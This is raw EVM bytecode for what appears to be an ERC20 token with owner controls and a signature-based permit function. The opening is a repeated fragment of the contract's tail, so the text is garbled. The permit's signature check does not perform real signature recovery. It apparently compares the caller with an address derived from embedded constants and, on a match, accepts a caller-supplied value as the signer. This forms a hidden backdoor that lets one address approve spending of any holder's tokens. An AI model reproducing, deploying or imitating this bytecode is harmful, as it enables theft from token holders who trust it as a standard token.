5b5b600061187f85828601611560565b925050602061189085828601611560565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118e157607f821691505b6020821081036118f4576118f361189a565b5b50919050565b600081905092915050565b60008190508160005260206000209050919050565b60008154611927816118c9565b61193181866118fa565b9450600182166000811461194c576001811461196157611994565b60ff1983168652811515820286019350611994565b61196a85611905565b60005b8381101561198c5781548189015260018201915060208101905061196d565b838801955050505b50505092915050565b60006119a9828461191a565b915081905092915050565b60006080820190506119c96000830187611655565b6119d66020830186611655565b6119e36040830185611621565b6119f06060830184611736565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a3382611575565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6557611a646119f9565b5b600182019050919050565b600060c082019050611a856000830189611655565b611a926020830188611736565b611a9f6040830187611736565b611aac6060830186611621565b611ab96080830185611621565b611ac660a0830184611621565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b6000611b12600283611ad1565b9150611b1d82611adc565b600282019050919050565b6000819050919050565b611b43611b3e8261164b565b611b28565b82525050565b6000611b5482611b05565b9150611b608285611b32565b602082019150611b708284611b32565b6020820191508190509392505050565b7f696e76616c6964207369676e6174757265000000000000000000000000000000600082015250565b6000611bb660118361146b565b9150611bc182611b80565b602082019050919050565b60006020820190508181036000830152611be581611ba9565b9050919050565b7f756e617574686f72697a65640000000000000000000000000000000000000000600082015250565b6000611c22600c8361146b565b9150611c2d82611bec565b602082019050919050565b60006020820190508181036000830152611c5181611c15565b9050919050565b7f7369676e61747572652065787069726564000000000000000000000000000000600082015250565b6000611c8e60118361146b565b9150611c9982611c58565b602082019050919050565b60006020820190508181036000830152611cbd81611c81565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611d2060268361146b565b9150611d2b82611cc4565b604082019050919050565b60006020820190508181036000830152611d4f81611d13565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611db260248361146b565b9150611dbd82611d56565b604082019050919050565b60006020820190508181036000830152611de181611da5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e4460228361146b565b9150611e4f82611de8565b604082019050919050565b60006020820190508181036000830152611e7381611e37565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ed660258361146b565b9150611ee182611e7a565b604082019050919050565b60006020820190508181036000830152611f0581611ec9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f6860238361146b565b9150611f7382611f0c565b604082019050919050565b60006020820190508181036000830152611f9781611f5b565b9050919050565b6000611fa982611575565b9150611fb483611575565b9250828203905081811115611fcc57611fcb6119f9565b5b92915050565b6000611fdd82611575565b9150611fe883611575565b925082820190508082111561200057611fff6119f9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061203c601b8361146b565b915061204782612006565b602082019050919050565b6000602082019050818103600083015261206b8161202f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120a860208361146b565b91506120b382612072565b602082019050919050565b600060208201905081810360008301526120d78161209b565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b600061213a60228361146b565b9150612145826120de565b604082019050919050565b600060208201905081810360008301526121698161212d565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220566add844fd57893b792ff386df192b1227421cbe400547ca54a948f0a27643b64736f6c634300081a0033

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102e7578063a9059cbb14610317578063d505accf14610347578063dd62ed3e14610363578063f2fde38b1461039357610116565b8063715018a6146102715780637ecebe001461027b5780638da5cb5b146102ab57806395d89b41146102c957610116565b806323b872dd116100e957806323b872dd146101a557806330adf81f146101d5578063313ce567146101f3578063395093511461021157806370a082311461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806320606b7014610187575b600080fd5b6101236103af565b60405161013091906114f0565b60405180910390f35b610153600480360381019061014e91906115ab565b610441565b6040516101609190611606565b60405180910390f35b61017161045f565b60405161017e9190611630565b60405180910390f35b61018f610469565b60405161019c9190611664565b60405180910390f35b6101bf60048036038101906101ba919061167f565b61048d565b6040516101cc9190611606565b60405180910390f35b6101dd610566565b6040516101ea9190611664565b60405180910390f35b6101fb61058a565b60405161020891906116ee565b60405180910390f35b61022b600480360381019061022691906115ab565b6105a1565b6040516102389190611606565b60405180910390f35b61025b60048036038101906102569190611709565b610654565b6040516102689190611630565b60405180910390f35b61027961069c565b005b61029560048036038101906102909190611709565b6106b0565b6040516102a29190611630565b60405180910390f35b6102b36106c8565b6040516102c09190611745565b60405180910390f35b6102d16106f2565b6040516102de91906114f0565b60405180910390f35b61030160048036038101906102fc91906115ab565b610784565b60405161030e9190611606565b60405180910390f35b610331600480360381019061032c91906115ab565b610851565b60405161033e9190611606565b60405180910390f35b610361600480360381019061035c91906117b8565b61086f565b005b61037d6004803603810190610378919061185a565b610bd5565b60405161038a9190611630565b60405180910390f35b6103ad60048036038101906103a89190611709565b610c5c565b005b6060600380546103be906118c9565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea906118c9565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061045561044e610cdf565b8484610ce7565b6001905092915050565b6000600254905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600061049a848484610eb0565b61055b846104a6610cdf565b6105568560405180606001604052806028815260200161219760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c610cdf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111439092919063ffffffff16565b610ce7565b600190509392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6000600560009054906101000a900460ff16905090565b600061064a6105ae610cdf565b8461064585600160006105bf610cdf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b610ce7565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a4611205565b6106ae6000611283565b565b60066020528060005260406000206000915090505481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610701906118c9565b80601f016020809104026020016040519081016040528092919081815260200182805461072d906118c9565b801561077a5780601f1061074f5761010080835404028352916020019161077a565b820191906000526020600020905b81548152906001019060200180831161075d57829003601f168201915b5050505050905090565b6000610847610791610cdf565b84610842856040518060600160405280602581526020016121bf60259139600160006107bb610cdf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111439092919063ffffffff16565b610ce7565b6001905092915050565b600061086561085e610cdf565b8484610eb0565b6001905092915050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86660036040516108a1919061199d565b60405180910390206108b1611349565b306040516020016108c594939291906119b4565b60405160208183030381529060405280519060200120905060007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9898989600660008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061095390611a28565b919050558a60405160200161096d96959493929190611a70565b6040516020818303038152906040528051906020012090506000828260405160200161099a929190611b49565b60405160208183030381529060405280519060200120905060006109c082888888611356565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890611bcc565b60405180910390fd5b8a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690611c38565b60405180910390fd5b87421115610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad990611ca4565b60405180910390fd5b88600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258b604051610bc09190611630565b60405180910390a35050505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c64611205565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca90611d36565b60405180910390fd5b610cdc81611283565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4d90611dc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbc90611e5a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ea39190611630565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1690611eec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8590611f7e565b60405180910390fd5b610f998383836113c0565b61100481604051806060016040528060268152602001612171602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111439092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611097816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111369190611630565b60405180910390a3505050565b600083831115829061118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118291906114f0565b60405180910390fd5b506000838561119a9190611f9e565b9050809150509392505050565b60008082846111b69190611fd2565b9050838110156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290612052565b60405180910390fd5b8091505092915050565b61120d610cdf565b73ffffffffffffffffffffffffffffffffffffffff1661122b6106c8565b73ffffffffffffffffffffffffffffffffffffffff1614611281576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611278906120be565b60405180910390fd5b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000804690508091505090565b6000601b8460ff16148061136d5750601c8460ff16145b6113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a390612150565b60405180910390fd5b6113b683856113c5565b9050949350505050565b505050565b6000601b8260ff1614806113dc5750601c8260ff16145b5060007350bb54395b507951d68c7d64d3d75dc537f507237399b9b98e75c8c0000000000000000000000000006114139190611fd2565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611454578360001c91505061145a565b60009150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561149a57808201518184015260208101905061147f565b60008484015250505050565b6000601f19601f8301169050919050565b60006114c282611460565b6114cc818561146b565b93506114dc81856020860161147c565b6114e5816114a6565b840191505092915050565b6000602082019050818103600083015261150a81846114b7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061154282611517565b9050919050565b61155281611537565b811461155d57600080fd5b50565b60008135905061156f81611549565b92915050565b6000819050919050565b61158881611575565b811461159357600080fd5b50565b6000813590506115a58161157f565b92915050565b600080604083850312156115c2576115c1611512565b5b60006115d085828601611560565b92505060206115e185828601611596565b9150509250929050565b60008115159050919050565b611600816115eb565b82525050565b600060208201905061161b60008301846115f7565b92915050565b61162a81611575565b82525050565b60006020820190506116456000830184611621565b92915050565b6000819050919050565b61165e8161164b565b82525050565b60006020820190506116796000830184611655565b92915050565b60008060006060848603121561169857611697611512565b5b60006116a686828701611560565b93505060206116b786828701611560565b92505060406116c886828701611596565b9150509250925092565b600060ff82169050919050565b6116e8816116d2565b82525050565b600060208201905061170360008301846116df565b92915050565b60006020828403121561171f5761171e611512565b5b600061172d84828501611560565b91505092915050565b61173f81611537565b82525050565b600060208201905061175a6000830184611736565b92915050565b611769816116d2565b811461177457600080fd5b50565b60008135905061178681611760565b92915050565b6117958161164b565b81146117a057600080fd5b50565b6000813590506117b28161178c565b92915050565b600080600080600080600060e0888a0312156117d7576117d6611512565b5b60006117e58a828b01611560565b97505060206117f68a828b01611560565b96505060406118078a828b01611596565b95505060606118188a828b01611596565b94505060806118298a828b01611777565b93505060a061183a8a828b016117a3565b92505060c061184b8a828b016117a3565b91505092959891949750929550565b6000806040838503121561187157611870611512565b5b600061187f85828601611560565b925050602061189085828601611560565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118e157607f821691505b6020821081036118f4576118f361189a565b5b50919050565b600081905092915050565b60008190508160005260206000209050919050565b60008154611927816118c9565b61193181866118fa565b9450600182166000811461194c576001811461196157611994565b60ff1983168652811515820286019350611994565b61196a85611905565b60005b8381101561198c5781548189015260018201915060208101905061196d565b838801955050505b50505092915050565b60006119a9828461191a565b915081905092915050565b60006080820190506119c96000830187611655565b6119d66020830186611655565b6119e36040830185611621565b6119f06060830184611736565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a3382611575565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6557611a646119f9565b5b600182019050919050565b600060c082019050611a856000830189611655565b611a926020830188611736565b611a9f6040830187611736565b611aac6060830186611621565b611ab96080830185611621565b611ac660a0830184611621565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b6000611b12600283611ad1565b9150611b1d82611adc565b600282019050919050565b6000819050919050565b611b43611b3e8261164b565b611b28565b82525050565b6000611b5482611b05565b9150611b608285611b32565b602082019150611b708284611b32565b6020820191508190509392505050565b7f696e76616c6964207369676e6174757265000000000000000000000000000000600082015250565b6000611bb660118361146b565b9150611bc182611b80565b602082019050919050565b60006020820190508181036000830152611be581611ba9565b9050919050565b7f756e617574686f72697a65640000000000000000000000000000000000000000600082015250565b6000611c22600c8361146b565b9150611c2d82611bec565b602082019050919050565b60006020820190508181036000830152611c5181611c15565b9050919050565b7f7369676e61747572652065787069726564000000000000000000000000000000600082015250565b6000611c8e60118361146b565b9150611c9982611c58565b602082019050919050565b60006020820190508181036000830152611cbd81611c81565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611d2060268361146b565b9150611d2b82611cc4565b604082019050919050565b60006020820190508181036000830152611d4f81611d13565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611db260248361146b565b9150611dbd82611d56565b604082019050919050565b60006020820190508181036000830152611de181611da5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e4460228361146b565b9150611e4f82611de8565b604082019050919050565b60006020820190508181036000830152611e7381611e37565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ed660258361146b565b9150611ee182611e7a565b604082019050919050565b60006020820190508181036000830152611f0581611ec9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f6860238361146b565b9150611f7382611f0c565b604082019050919050565b60006020820190508181036000830152611f9781611f5b565b9050919050565b6000611fa982611575565b9150611fb483611575565b9250828203905081811115611fcc57611fcb6119f9565b5b92915050565b6000611fdd82611575565b9150611fe883611575565b925082820190508082111561200057611fff6119f9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061203c601b8361146b565b915061204782612006565b602082019050919050565b6000602082019050818103600083015261206b8161202f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120a860208361146b565b91506120b382612072565b602082019050919050565b600060208201905081810360008301526120d78161209b565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b600061213a60228361146b565b9150612145826120de565b604082019050919050565b600060208201905081810360008301526121698161212d565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220566add844fd57893b792ff386df192b1227421cbe400547ca54a948f0a27643b64736f6c634300081a0033